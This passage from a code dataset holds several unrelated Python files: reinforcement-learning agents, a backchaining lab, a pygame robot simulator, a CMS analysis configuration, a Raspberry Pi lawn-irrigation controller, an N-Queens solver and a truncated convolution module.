begin = datetime.datetime.now()\n self.optimizer.zero_grad()\n # torch.cuda.synchronize()\n # end = datetime.datetime.now()\n # print(\"zero:\", end-begin)\n\n # begin = datetime.datetime.now()\n loss_fn.backward()\n self.optimizer.step()\n # torch.cuda.synchronize()\n # end = datetime.datetime.now()\n # print(\"step:\", end-begin)\n self.global_step += 1\n # self._acc_loss += loss_fn\n # self._acc_q += q_fn.mean()\n\n def target_update(self):\n self.target_net.load_state_dict(self.policy_net.state_dict())\n\n def save_model(self, path):\n if not os.path.exists(path):\n os.makedirs(path)\n torch.save(self.policy_net, os.path.join(path, \"model-{:010d}.pkl\".format(self.global_step)))\n\n def actor(self, x, explore=0.05):\n if random.random() > explore:\n x = torch.from_numpy(np.array([x], dtype=np.float32)).cuda()\n with torch.no_grad():\n return self.policy_net.action(x).item()\n else:\n return random.randint(0, self.na-1)\n\n def mem_push(self, *args):\n self.memory.push(*args)\n\nclass DBLQ(Agent):\n \"\"\"Add Double Q Learning Plugin to Basic Agent\"\"\"\n def __init__(self, agent):\n for key, item in agent.__dict__.items():\n setattr(self, key, item)\n \n def loss_fn(self, rewards, actions, dones, states, next_states):\n with torch.no_grad():\n next_actions = self.policy_net.action(next_states)\n targets = self.discount * self.target_net.value(next_states, next_actions) * (1 - dones) + rewards\n q_fn = self.policy_net.value(states, actions)\n assert q_fn.shape == targets.shape\n loss = self.policy_net.loss_fn(q_fn, targets)\n self._acc_loss += loss\n self._acc_q += q_fn.mean()\n return loss \n\n","sub_path":"agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":6340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"342694851","text":"from production import AND, OR, NOT, PASS, FAIL, IF, THEN, \\\n match, populate, simplify, variables\nfrom zookeeper import ZOOKEEPER_RULES\nfrom pprint import pprint\n\n# This function, which you need to write, takes in a hypothesis\n# that can be determined using a set of rules, and outputs a goal\n# tree of which statements it would need to test to prove that\n# hypothesis. Refer to the problem set (section 2) for more\n# detailed specifications and examples.\n\n# Note that this function is supposed to be a general\n# backchainer. You should not hard-code anything that is\n# specific to a particular rule set. The backchainer will be\n# tested on things other than ZOOKEEPER_RULES.\n\n\ndef matcher(rule, statement):\n consequent = rule.consequent()\n return match(consequent[0], statement) is not None\n\n\ndef backchain_to_goal_tree(rules, hypothesis):\n output = OR(hypothesis)\n matches = [populate(r.antecedent(), match(r.consequent()[0], hypothesis)) for r in rules if matcher(r, hypothesis)]\n if len(matches) > 0:\n for m in matches:\n if isinstance(m, AND):\n to_append = AND()\n else:\n to_append = OR()\n if not isinstance(m, (AND, OR)):\n m = AND(m)\n for a in m:\n child_append = OR(a)\n child_append.append(backchain_to_goal_tree(rules, a))\n to_append.append(child_append)\n output.append(to_append)\n else:\n output.append(OR())\n return simplify(output)\n\n# Here's an example of running the backward chainer - uncomment\n# it to see it work:\n#print(backchain_to_goal_tree(ZOOKEEPER_RULES, 'opus is a penguin'))\n","sub_path":"labs/lab1/backchain.py","file_name":"backchain.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"339862649","text":"import pygame\r\nimport os\r\nimport math\r\nimport time\r\nfrom random import randint, uniform\r\nfrom datetime import datetime\r\n\r\n## Time\r\npygame.init()\r\nfont = pygame.font.Font('freesansbold.ttf', 32)\r\n\r\nclock = pygame.time.Clock()\r\n\r\n## Colors1\r\nblack = (0,0,0)\r\nwhite = (255,255,255)\r\ngray = (100,100,100)\r\nblue = (0,180,255)\r\nred = (255,0,0)\r\nbrown = (120,70,0)\r\ngreen = (90,170,50)\r\nnavy = (10,30,120)\r\nyellow = (255,230,0)\r\npink = (222, 11, 211)\r\n\r\n## Map size\r\nscale = 2\r\nborder = 10 * scale\r\nline = 5 * scale\r\nblock = 40 * scale\r\nbuilding = 30 * scale\r\npadding = 5 * scale\r\nrobot_size = (int(block*0.4), int(block*0.6))\r\nir_range = block*5\r\nir_step = border\r\n\r\n## Initial robot position\r\ninit_position = (block/2 + border, block/2 + border)\r\ninit_angle = 0\r\n\r\nclass myRobot(pygame.Surface):\r\n\tdef __init__(self, parent, pos, a, size, map_size):\r\n\t\tpygame.Surface.__init__(self, size)\r\n\t\tself.init = [size, pos, a]\r\n\t\tself.parent = parent\r\n\t\tself.cx, self.cy = pos\r\n\t\tself.a = a\r\n\t\tself.w, self.h = size\r\n\t\tself.map_size = map_size\r\n\t\tself.move_step = uniform(1.0, 1.2) * scale\r\n\t\ta = randint(70, 90) * 2\r\n\t\tself.rotate_step = math.pi / a\r\n\t\tself.draw_robot()\r\n\t\tself.lll = []\r\n\r\n\tdef get_pose(self):\r\n\t\treturn self.cx, self.cy\r\n\r\n\tdef reset(self):\r\n\t\tself.w, self.h = self.init[0]\r\n\t\tself.cx, self.cy = self.init[1]\r\n\t\tself.a = self.init[2]\r\n\t\tself.draw_robot()\r\n\r\n\tdef draw_robot(self):\r\n\t\tself.set_colorkey(white)\r\n\t\tself.fill(red)\r\n\t\t# Center\r\n\t\tpygame.draw.rect(self, navy, pygame.Rect(self.w/2 - 1*scale, self.h/2 - 1*scale, 3*scale-1, 3*scale-1))\r\n\t\t# Color sensors\r\n\t\tpygame.draw.rect(self, yellow, pygame.Rect(scale, self.h-2*scale, 2*scale, 2*scale))\r\n\t\tpygame.draw.rect(self, yellow, pygame.Rect(self.w-3*scale, self.h-2*scale, 2*scale, 2*scale))\r\n\t\t# Design\r\n\t\tpygame.draw.rect(self, white, pygame.Rect(self.w/2 - 3*scale, self.h - 8*scale, 7*scale-1, 8*scale))\r\n\r\n\tdef update(self):\r\n\t\trotated_surf = pygame.transform.rotate(self, math.degrees(self.a))\r\n\t\trotated_rect = rotated_surf.get_rect()\r\n\t\trotated_rect.center = (self.cx, self.cy)\r\n\t\tself.parent.blit(rotated_surf, rotated_rect)\r\n\r\n\tdef left(self):\r\n\t\tself.a += self.rotate_step\r\n\t\tif self.a >= 2*math.pi:\r\n\t\t\tself.a -= 2*math.pi\r\n\t\tself.update()\r\n\r\n\tdef right(self):\r\n\t\tself.a -= self.rotate_step\r\n\t\tif self.a < 0:\r\n\t\t\tself.a += 2*math.pi\r\n\t\tself.update()\r\n\r\n\tdef forward(self):\r\n\t\tnew_x = self.cx + self.move_step * math.sin(self.a)\r\n\t\tnew_y = self.cy + self.move_step * math.cos(self.a)\r\n\t\tif 0 <= new_x < self.map_size[0]:\r\n\t\t\tself.cx = new_x\r\n\t\tif 0 <= new_y < self.map_size[1]:\r\n\t\t\tself.cy = new_y\r\n\t\tself.update()\r\n\r\n\tdef backward(self):\r\n\t\tnew_x = self.cx - self.move_step * math.sin(self.a)\r\n\t\tnew_y = self.cy - self.move_step * math.cos(self.a)\r\n\t\tif 0 <= new_x < self.map_size[0]:\r\n\t\t\tself.cx = new_x\r\n\t\tif 0 <= new_y < self.map_size[1]:\r\n\t\t\tself.cy = new_y\r\n\t\tself.update()\r\n\r\n\tdef get_box(self):\r\n\t\treturn self.parent.get_at((int(self.cx),int(self.cy)))[:3]\r\n\r\n\tdef get_sensors(self):\r\n\t\tlc = rc = None\r\n\t\tir = -1\r\n\t\tsin = math.sin(self.a)\r\n\t\tcos = math.cos(self.a)\r\n\t\tlx = self.cx + (self.w/2-scale) * cos + (self.h/2) * sin\r\n\t\tly = self.cy - (self.w/2-scale) * sin + (self.h/2) * cos\r\n\t\tif 0 <= lx < self.map_size[0] and 0 <= ly < self.map_size[1]:\r\n\t\t\tlc = self.parent.get_at((int(lx),int(ly)))[:3]\r\n\t\trx = self.cx - (self.w/2-scale) * cos + self.h/2 * sin\r\n\t\try = self.cy + (self.w/2-scale) * sin + self.h/2 * cos\r\n\t\tif 0 <= rx < self.map_size[0] and 0 <= ry < self.map_size[1]:\r\n\t\t\trc = self.parent.get_at((int(rx),int(ry)))[:3]\r\n\t\tfor i, l in enumerate(range(int(self.h/2), int(ir_range), int(ir_step))):\r\n\t\t\tmx = self.cx + l * sin\r\n\t\t\tmy = self.cy + l * cos\r\n\t\t\tif 0 <= mx < self.map_size[0] and 0 <= my < self.map_size[1]:\r\n\t\t\t\tif self.parent.get_at((int(mx),int(my)))[:3] == brown:\r\n\t\t\t\t\tir = i\r\n\t\t\t\t\tbreak\r\n\t\tself.lll = [(lx,ly), (rx,ry)]\r\n\t\treturn (lc, rc), ir\r\n\r\n\tdef get_corners(self):\r\n\t\tc = []\r\n\t\tsin = math.sin(self.a)\r\n\t\tcos = math.cos(self.a)\r\n\t\tfor w in [-self.w/2, self.w/2]:\r\n\t\t\tfor h in [-self.h/2, self.h/2]:\r\n\t\t\t\tx = self.cx + w * cos + h * sin\r\n\t\t\t\ty = self.cy - w * sin + h * cos\r\n\t\t\t\tif 0 <= x < self.map_size[0] and 0 <= y < self.map_size[1]:\r\n\t\t\t\t\tc.append(self.parent.get_at((int(x),int(y)))[:3])\r\n\t\t\r\n\t\treturn c\r\n\r\n\r\nclass Simulator():\r\n\tdef __init__(self):\r\n\t\t# Set map sizes\r\n\t\tself.h_line = self.v_line = self.map_dim = self.map_size = self.screen = None\r\n\t\tself.set_map_size((10, 5))\r\n\t\t# Set blocks\r\n\t\tself.lake_blocks = []\r\n\t\tself.building_blocks = []\r\n\t\tself.set_random_blocks()\r\n\t\t# Set sensor variables\r\n\t\tself.color_sensor = self.ir_sensor = self.corners = self.current_col = None\r\n\t\t# Create robot\r\n\t\tself.robot = myRobot(self.screen, init_position, init_angle, robot_size, self.map_size)\r\n\t\tself.update()\r\n\r\n\t\tself.log()\r\n\t\tself.start_time = time.time()\r\n\r\n\tdef set_map_size(self, map_dim_new):\r\n\t\tself.map_dim = map_dim_new\r\n\t\tself.h_line = self.map_dim[0]*(block+line) - line\r\n\t\tself.v_line = self.map_dim[1]*(block+line) - line\r\n\t\tself.map_size = (self.h_line + 2*border, self.v_line + 2*border)\r\n\t\tself.screen = pygame.display.set_mode(self.map_size)\r\n\r\n\tdef draw_map(self):\r\n\t\tself.screen.fill(black)\r\n\t\tpygame.draw.rect(self.screen, white, pygame.Rect(border, border, self.map_size[0]-2*border, self.map_size[1]-2*border))\r\n\r\n\t\tfor x in range(1, self.map_dim[0]):\r\n\t\t\tpygame.draw.rect(self.screen, gray, pygame.Rect(border + x*block + (x-1)*line, border, line, self.v_line))\r\n\t\tfor y in range(1, self.map_dim[1]):\r\n\t\t\tpygame.draw.rect(self.screen, gray, pygame.Rect(border, border + y*block + (y-1)*line, self.h_line, line))\r\n\r\n\t\tfor i,j in self.lake_blocks:\r\n\t\t\tpygame.draw.rect(self.screen, blue, pygame.Rect(border + i*(block+line), border + j*(block+line), block, block))\r\n\t\tfor i,j in self.building_blocks:\r\n\t\t\tpygame.draw.rect(self.screen, brown, pygame.Rect(border + i*(block+line) + padding, border + j*(block+line) + padding, building, building))\r\n\r\n\tdef set_random_blocks(self, num_lake = 5, num_building = 5):\r\n\t\twhile len(self.lake_blocks) < num_lake:\r\n\t\t\tx = randint(0, self.map_dim[0]-1)\r\n\t\t\ty = randint(0, self.map_dim[1]-1)\r\n\t\t\tif (x,y) != (0,0) and (x,y) not in self.lake_blocks:\r\n\t\t\t\tself.lake_blocks.append((x,y))\r\n\t\twhile len(self.building_blocks) < num_building:\r\n\t\t\tx = randint(0, self.map_dim[0]-1)\r\n\t\t\ty = randint(0, self.map_dim[1]-1)\r\n\t\t\tif (x,y) != (0,0) and (x,y) not in self.building_blocks and (x,y) not in self.lake_blocks:\r\n\t\t\t\tself.building_blocks.append((x,y))\r\n\r\n\tdef set_blocks(self, lake_blocks_new, building_blocks_new):\r\n\t\tself.lake_blocks = lake_blocks_new\r\n\t\tself.building_blocks = building_blocks_new\r\n\r\n\tdef update(self):\r\n\t\tself.draw_map()\r\n\t\tself.color_sensor, self.ir_sensor = self.robot.get_sensors()\r\n\t\tself.corners = self.robot.get_corners()\r\n\t\tself.current_col = self.robot.get_box()\r\n\t\tself.robot.update()\r\n\t\tpygame.display.flip()\r\n\t\tself.check_finished()\r\n\t\tclock.tick(60)\r\n\r\n\tdef check_finished(self):\r\n\t\tfor event in pygame.event.get():\r\n\t\t\tif event.type == pygame.QUIT:\r\n\t\t\t\texit(\"Closing...\")\r\n\t\tif self.current_col == black:\r\n\t\t\tself.terminate(\"Wasted!\")\r\n\t\tif brown in self.corners:\r\n\t\t\tself.terminate(\"Collision!\")\r\n\r\n\tdef terminate(self, message):\r\n\t\ttext = font.render(message, True, red, black) \r\n\t\ttextRect = text.get_rect()\r\n\t\ttextRect.center = (self.map_size[0] // 2, self.map_size[1] // 2)\r\n\t\tself.screen.blit(text, textRect) \r\n\t\tpygame.display.flip()\r\n\t\ttime.sleep(2)\r\n\t\texit(message)\r\n\r\n\tdef reset(self, map_dim_new, lake_blocks_new, building_blocks_new):\r\n\t\tself.set_map_size(map_dim_new)\r\n\t\tself.set_blocks(lake_blocks_new, building_blocks_new)\r\n\t\tself.robot.reset()\r\n\t\tself.update()\r\n\t\tself.start_time = time.time()\r\n\r\n\r\n\tdef log(self):\r\n\t\t# read textfile into string\r\n\t\twith open('student.py', 'r') as txtfile:\r\n\t\t\tmytextstring = txtfile.read()\r\n\t\t\tdate = datetime.now().strftime('%Y-%m-%d-%H-%M-%S')\r\n\r\n\t\t\t# save the file\r\n\t\t\t#with open('logs/'+date+\".txt\", 'w') as file:\r\n\t\t\t#\tfile.write(mytextstring)\r\n","sub_path":"CS270/Assignment1/simulator_hidden.py","file_name":"simulator_hidden.py","file_ext":"py","file_size_in_byte":7909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"100768472","text":"def is_prime(n):\n # define increment variable \n count = 0\n # not prime if less than 1\n if n > 1:\n # check for divisibility - need to check every int up until n\n for i in range(2,n):\n if (n % i) == 0:\n count = count + 1 \n else:\n return False\n # count only increments if n has a factor\n if count > 0:\n return False\n else:\n return True\n\n# initialize an empty list. We will append to this list later on.\nl = []\ndef list_primes(n):\n count1 = 0\n # all we are doing here is repeating what we did above but for every number\n # below n. And then if that number is prime, instead of returning True we\n # append that number to a list, l.\n # Notice, however in the range function we start at n and then increment\n # by -1\n for j in range(n,1,-1):\n if n > 1:\n for i in range(2,n):\n if (n % i) == 0:\n count1 = count1 + 1\n\n if count1 == 0:\n l.append(n)\n count1 = 0\n n = n-1\n return l\n","sub_path":"Lab2/gaddis7_12.py","file_name":"gaddis7_12.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"438066087","text":"import FWCore.ParameterSet.Config as cms\n\nprocess = cms.Process(\"CorrRecHits\")\n\n# Some standard sequences needed for reconstruction \nprocess.load('Configuration/StandardSequences/Services_cff')\nprocess.load('FWCore/MessageService/MessageLogger_cfi')\nprocess.load('Configuration/StandardSequences/GeometryPilot2_cff')\nprocess.load('Configuration/StandardSequences/MagneticField_38T_cff')\nprocess.load('Configuration/StandardSequences/Reconstruction_cff')\nprocess.load('Configuration/StandardSequences/FrontierConditions_GlobalTag_cff')\nprocess.load('Configuration/EventContent/EventContent_cff')\n\n# Other statements\nprocess.GlobalTag.globaltag = 'IDEAL_V9::All'\nprocess.MessageLogger.cerr.default.limit = 10\nprocess.MessageLogger.cerr.FwkReport.reportEvery = 500\n\nprocess.maxEvents = cms.untracked.PSet( \n input = cms.untracked.int32(-1) \n)\n\n# Define source\nprocess.load(\"AnalysisCode.HOStudy.PoolSource_SingleJet_RECO_dquark_eta10_cfi\")\n\n# Make new ECal RecHit collection\nprocess.load(\"SUSYBSMAnalysis.CorrectedECalRecHitProducer.correctedecalrechitproducer_cfi\")\nprocess.CorrectedECalRecHitProducer.recHitsEB = cms.InputTag(\"ecalRecHit\",\"EcalRecHitsEB\")\nprocess.CorrectedECalRecHitProducer.recHitsEE = cms.InputTag(\"ecalRecHit\",\"EcalRecHitsEE\")\n\n# Change ECal input collection for reconstruction\nprocess.towerMaker.ecalInputs = cms.VInputTag(cms.InputTag(\"CorrectedECalRecHitProducer\",\"EcalRecHitsEBcorr\",\"CorrRecHits\"),\n cms.InputTag(\"CorrectedECalRecHitProducer\",\"EcalRecHitsEEcorr\",\"CorrRecHits\"))\nprocess.towerMakerWithHO.ecalInputs = cms.VInputTag(cms.InputTag(\"CorrectedECalRecHitProducer\",\"EcalRecHitsEBcorr\",\"CorrRecHits\"),\n cms.InputTag(\"CorrectedECalRecHitProducer\",\"EcalRecHitsEEcorr\",\"CorrRecHits\"))\n\n### New Collections ###\n# friendlyClassName | moduleLabel | productInstanceName | processName\n#--------------------+------------------------------+---------------------+------------\n# EcalRecHitsSorted | CorrectedECalRecHitProducer | EcalRecHitsEBcorr | CorrRecHits\n# recoCaloJets | sisCone5CaloJets | | CorrRecHits\n\n# Increase HO threshold from its default Scheme B value of 1.1. GeV to 2.2 GeV\nprocess.towerMaker.HOThreshold = 2.2\nprocess.towerMakerWithHO.HOThreshold = 2.2\n\n# Define iterativeCone5CaloJetsWithHO\nCaloJetParametersWithHO = cms.PSet(\n src = cms.InputTag(\"towerMakerWithHO\"),\n verbose = cms.untracked.bool(False),\n jetPtMin = cms.double(0.0),\n inputEtMin = cms.double(0.5),\n jetType = cms.untracked.string('CaloJet'),\n inputEMin = cms.double(0.0)\n)\nfrom RecoJets.JetProducers.IconeJetParameters_cfi import *\nprocess.iterativeCone5CaloJetsWithHO = cms.EDProducer(\"IterativeConeJetProducer\",\n CaloJetParametersWithHO,\n IconeJetParameters,\n alias = cms.untracked.string('IC5CaloJetWithHO'),\n coneRadius = cms.double(0.5)\n)\nprocess.RECOSIMEventContent.outputCommands.extend(cms.untracked.vstring('keep *_towerMakerWithHO_*_*','keep *_iterativeCone5CaloJetsWithHO_*_*'))\n\n# TFileService\nprocess.TFileService = cms.Service(\"TFileService\",\n fileName = cms.string('hoStudy_corr_eta1.0.root')\n)\n\n# Modules needed to perform HO study\nprocess.caloJetCollectionClone = cms.EDProducer(\"CaloJetShallowCloneProducer\",\n src = cms.InputTag(\"iterativeCone5CaloJets\",\"\",\"CorrRecHits\")\n)\nprocess.caloJetWithHOCollectionClone = cms.EDProducer(\"CaloJetShallowCloneProducer\",\n src = cms.InputTag(\"iterativeCone5CaloJetsWithHO\",\"\",\"CorrRecHits\")\n)\nprocess.genJetCollectionClone = cms.EDProducer(\"GenJetShallowCloneProducer\",\n src = cms.InputTag(\"iterativeCone5GenJets\")\n)\nprocess.caloJetSele = cms.EDFilter(\"PtMinCandSelector\",\n src = cms.InputTag(\"caloJetCollectionClone\"),\n ptMin = cms.double(15.0)\n)\nprocess.caloJetWithHOSele = cms.EDFilter(\"PtMinCandSelector\",\n src = cms.InputTag(\"caloJetWithHOCollectionClone\"),\n ptMin = cms.double(15.0)\n)\nprocess.genJetSele = cms.EDFilter(\"PtMinCandSelector\",\n src = cms.InputTag(\"genJetCollectionClone\"),\n ptMin = cms.double(30.0)\n)\nprocess.jetMatchMap = cms.EDFilter(\"CandOneToOneDeltaRMatcher\",\n src = cms.InputTag(\"genJetSele\"),\n matched = cms.InputTag(\"caloJetSele\"),\n algoMethod = cms.string('BruteForce')\n)\nprocess.jetWithHOMatchMap = cms.EDFilter(\"CandOneToOneDeltaRMatcher\",\n src = cms.InputTag(\"genJetSele\"),\n matched = cms.InputTag(\"caloJetWithHOSele\"),\n algoMethod = cms.string('BruteForce')\n)\n\n# HO study\nprocess.hoStudy = cms.EDAnalyzer('HOStudy',\n matchMapOne = cms.InputTag(\"jetMatchMap\",\"src2mtc\"),\n matchMapOneWithHO = cms.InputTag(\"jetWithHOMatchMap\",\"src2mtc\"),\n genJets = cms.InputTag(\"iterativeCone5GenJets\"),\n selectedGenJets = cms.InputTag(\"genJetSele\"),\n caloJetsWithHO = cms.InputTag(\"iterativeCone5CaloJetsWithHO\",\"\",\"CorrRecHits\"),\n caloJets = cms.InputTag(\"iterativeCone5CaloJets\",\"\",\"CorrRecHits\")\n)\n\n# Output definition\n#process.output = cms.OutputModule(\"PoolOutputModule\",\n #outputCommands = process.RECOSIMEventContent.outputCommands,\n #fileName = cms.untracked.string('SingleJet_RECO_d-quark_eta1.0_corr.root')\n#)\n\n# Path and EndPath definitions\nprocess.correction_step = cms.Path(process.CorrectedECalRecHitProducer)\nprocess.reconstruction_step = cms.Path(process.caloTowersRec*(process.iterativeCone5CaloJets+process.iterativeCone5CaloJetsWithHO))\nprocess.analysis_step = cms.Path((process.caloJetCollectionClone+process.caloJetWithHOCollectionClone+process.genJetCollectionClone)*(process.caloJetSele+process.caloJetWithHOSele+process.genJetSele)*(process.jetMatchMap+process.jetWithHOMatchMap)*process.hoStudy)\n#process.out_step = cms.EndPath(process.output)\n\n# Schedule definition\nprocess.schedule = cms.Schedule(process.correction_step,process.reconstruction_step,process.analysis_step)\n","sub_path":"src/AnalysisCode/HOStudy/test/hoStudy_corr_eta1.0_cfg.py","file_name":"hoStudy_corr_eta1.0_cfg.py","file_ext":"py","file_size_in_byte":5830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"484306710","text":"\nxmin = 0\nxmax = 300\n\nymin = 0\nymax = 300\n\nrangex = xmax - xmin\nrangey = ymax - ymin\n\ndef setup():\n global xscl, yscl\n size(600,600)\n xscl = width / rangex\n yscl = height / rangey\n\ndef draw():\n background(255)\n grid()\n myrect()\n\ndef myrect():\n translate(50*xscl, 80*yscl)\n rect(20*xscl,40*yscl,50*xscl,30*yscl)\n\ndef grid():\n strokeWeight(1)\n stroke(0,255,255)\n for j in range(xmin,xmax+1):\n i = j*10\n line(i*xscl,ymin*yscl,i*xscl,ymax*yscl)\n if i > xmax+1:\n break\n for j in range(ymin,ymax+1):\n i = j*10\n line(xmin*xscl,i*yscl,xmax*xscl,i*yscl)\n if i > ymax+1:\n break\n stroke(0)\n line(0,ymin*yscl,0,ymax*yscl)\n line(xmin*xscl,0,xmax*xscl,0)","sub_path":"s2/p5/p5_3_1/geometry.pyde","file_name":"geometry.pyde","file_ext":"pyde","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"608729002","text":"\nimport lfmGrids as lfm\nimport lfmViz as lfmv\nimport lfmInterp as lfmi\nimport lfmGeom as lfmg\n\nfrom pylab import *\n\nfname = '../hirez/SNS-Bz-5-Vx400-N5-F200_mhd_1056000.hdf'\n#fname = '../hirez/SNS-Bz-5-Vx400-N5-F200_mhd_2175000.hdf'\n#method = 'avg' #For now, restricting to trilin\n\nmethod = 'linear'\nfmap = \"mapHiRez.h5\"\n#fmap = \"mapLoRez.h5\"\nfVTI = \"hirez_1056.vti\"\n#fVTI = \"lorez_1056.vti\"\n\nSaveMap = True\nLoadMap = False\nSaveVTI = True\nShowFig = False\n\nxdom = [-15,13]\nydom = [-20,20]\nzdom = [-8,8]\n\nNres = [560,800,320]\n#Nres = [100,100,20]\nXbd = zeros((3,2))\nXbd[0,:] = xdom; Xbd[1,:] = ydom; Xbd[2,:] = zdom\n\n#Create both grids\nprint(\"Creating LFM grid\")\nLg = lfm.LFMGrid(fname)\nprint(\"Creating Cartesian grid\")\nCg = lfm.CartGrid(Xbd,Nres)\n\nif not LoadMap:\n\t#Calculate mapping\n\tprint(\"Calculating C<->L mapping\")\n\tCg.calcMap(Lg)\nelse:\n\t#Load mapping from file\n\tprint(\"Loading C<->L mapping\")\n\tCg.loadMap(fmap)\n\t\nif SaveMap: \n\tprint(\"Saving C<->L mapping\")\n\tCg.saveMap(fmap)\n\n#Ingest B-field data from LFM grid\nprint(\"Reading LFM fields\")\nLg.getFields(fname,dB=True)\n\n\nprint(\"Interpolating fields onto Cartesian grid\")\n#Get field data\nCg.getFields(Lg,method)\n\n#Save VTI if asked for\nif (SaveVTI):\n\tprint(\"Saving VTK\")\n\tCg.outVTK(fVTI)\n\n#Calculate some metrics and display them\n#Get volume-integrated Pb\nlfmv.cmpPb(Cg,Lg)\n\n#Show fig if asked for\nif (ShowFig):\t\n\tVbd = [-12,-7]\n\tlfmv.showField(Cg,Lg,Vbds = Vbd)\n\t\n","sub_path":"pylfm/toys/hirez.py","file_name":"hirez.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"237984441","text":"import sched, time,datetime\n#import RPi.GPIO as GPIO\nimport local\nimport cimis\nimport relay_motion\nimport threading\n\ntemperature = 0\nhumidity = 0\ntemp_avg = 0\nhum_avg = 0\ncount = 0\ncimis_count = 0\n\n# Derate the ET\ndef derate(cimis_et, cimis_hum, gpi_hum, cimis_temp, gpi_temp):\n derated_et = cimis_et * (gpi_hum / cimis_hum) * (cimis_temp / gpi_temp)\n return derated_et\n\n# Calculate the amount of water needed using the derated ET\ndef water_needed(derated_et):\n pf = 1.0\n sf = 200\n ie = 0.75\n water = (derated_et * pf * sf * 0.62) / ie\n return water\n\ndef water_duration(water):\n water_hr = water/1020\n water_min = water_hr*60\n return water_min\n\n# Turn on the relay until the entire law is watered at a rate of 1020 gallons per hour or interrupted by nearby person\ndef water_lawn(water_duration):\n start_time = time.time()\n print (start_time)\n t=threading.Thread(target=relay_motion.relay,args=(start_time,water_duration))\n t.start()\n \n\n\n#get local temp and humidity and compare with CIMIS data every hour to calculate amount of water needed to water lawn\ndef read_sensors(current_hour):\n\n global temperature, humidity, temp_avg, hum_avg, count, cimis_count\n \n temperature, humidity = local.local_data()\n temp_avg += temperature\n hum_avg += humidity\n count=count+1\n print(\"TEMP SUM: %d HUM SUM: %d\\n\" %(temp_avg,hum_avg))\n \n new_hour = datetime.datetime.now().time().hour\n #current_hour = 12\n current_hour = 9\n new_hour = 10\n #new_hour = current_hour+1\n cimis_count = 2\n if (new_hour == current_hour+1):\n temp_avg = temp_avg/count\n hum_avg = hum_avg/count\n print(\"Temp Avg: %d Hum Avg: %d\\n\" %(temp_avg, hum_avg))\n \n if (cimis.cimis(current_hour*100)!=None):\n cimis_hr, cimis_eto, cimis_temp, cimis_hum = cimis.cimis(current_hour*100)\n print(\"CIMIS hr: %d eto: %f hum: %f\" %(cimis_hr, cimis_eto, cimis_hum))\n if (cimis_count>0):\n missed_hours = cimis_count \n print(\"CIMIS_Count = %d\\n\" %missed_hours)\n\n for i in range (cimis_count):\n current_hour -= 1\n cimis_hr1, cimis_eto1, cimis_temp1, cimis_hum1 = cimis.cimis(current_hour*100)\n cimis_eto += cimis_eto1\n print(\"Eto sum: %f\\n\" %cimis_eto)\n cimis_temp += cimis_temp1\n cimis_hum += cimis_hum1\n print(\"TEMP SUM: %f HUM SUM: %f\\n\" %(cimis_temp, cimis_hum))\n \n print(\"MISSED HOURS: %d\\n\" %missed_hours)\n cimis_temp = cimis_temp / (missed_hours+1)\n cimis_hum = cimis_hum / (missed_hours+1)\n print(\"After missed: eto: %f temp: %f hum: %f\\n\" %(cimis_eto, cimis_temp, cimis_hum))\n\n else:\n #save hour not calculated\n cimis_count += 1\n\n new_et = derate(cimis_eto, cimis_hum, hum_avg, cimis_temp, temp_avg)\n \n temp_avg=0\n hum_avg=0\n count=0\n\n water = water_needed(new_et)\n #water = 372\n print(water)\n \n duration = water_duration(water)\n print(duration)\n water_lawn(duration)\n\n\n\n","sub_path":"rpi_data.py","file_name":"rpi_data.py","file_ext":"py","file_size_in_byte":3247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"107125212","text":"class Solution:\n def totalNQueens(self, n: int) -> int:\n \"\"\"Backtrack possible alignment of queens\n and returns the number of distinct solutions to the n-queens puzzle\n\n Parameters\n ----------\n n : int\n Number of Queens\n\n Returns\n -------\n int\n Number of distinct solutions\n \"\"\"\n self.n = n\n self.rows = [True] * n\n self.dales = [True] * (2*(n-1) + 1)\n self.hills = [True] * (2*(n-1) + 1)\n return self.backtrack_nqueen()\n\n def is_not_under_attack(self, row, col):\n return self.rows[col] and self.hills[row - col] and self.dales[row + col]\n\n def place_queen(self, row, col):\n self.rows[col] = False\n self.hills[row - col] = False\n self.dales[row + col] = False\n\n def remove_queen(self, row, col):\n self.rows[col] = True\n self.hills[row - col] = True\n self.dales[row + col] = True\n\n def backtrack_nqueen(self, row=0, count=0):\n for col in range(self.n):\n # iterate through columns at the curent row.\n if self.is_not_under_attack(row, col):\n # explore this partial candidate solution, and mark the attacking zone\n self.place_queen(row, col)\n if row + 1 == self.n:\n # we reach the bottom, i.e. we find a solution!\n count += 1\n else:\n # we move on to the next row\n count = self.backtrack_nqueen(row + 1, count)\n # backtrack, i.e. remove the queen and remove the attacking zone.\n self.remove_queen(row, col)\n return count\n","sub_path":"recursion/NQueenII/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"401139326","text":"# IMPORTS\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n# MODULES\n\n# Depthwise Separable Convolution Layer\nclass DwConv2d(nn.Module):\n def __init__(self,\n in_channels,\n out_channels,\n kernel_size = 3,\n stride = 1,\n padding = None):\n super(DwConv2d, self).__init__()\n self.in_channels = in_channels\n self.out_channels = out_channels\n self.kernel_size = kernel_size\n self.stride = stride\n self.padding = padding\n if self.padding == None:\n self.padding = int(self.kernel_size/2)\n self.layer = nn.Sequential(nn.Conv2d(in_channels = self.in_channels,\n out_channels = self.in_channels,\n kernel_size = self.kernel_size,\n stride = self.stride,\n padding = self.padding,\n groups = self.in_channels),\n nn.BatchNorm2d(self.in_channels),\n nn.ReLU(inplace=True),\n nn.Conv2d(in_channels = self.in_channels,\n out_channels = 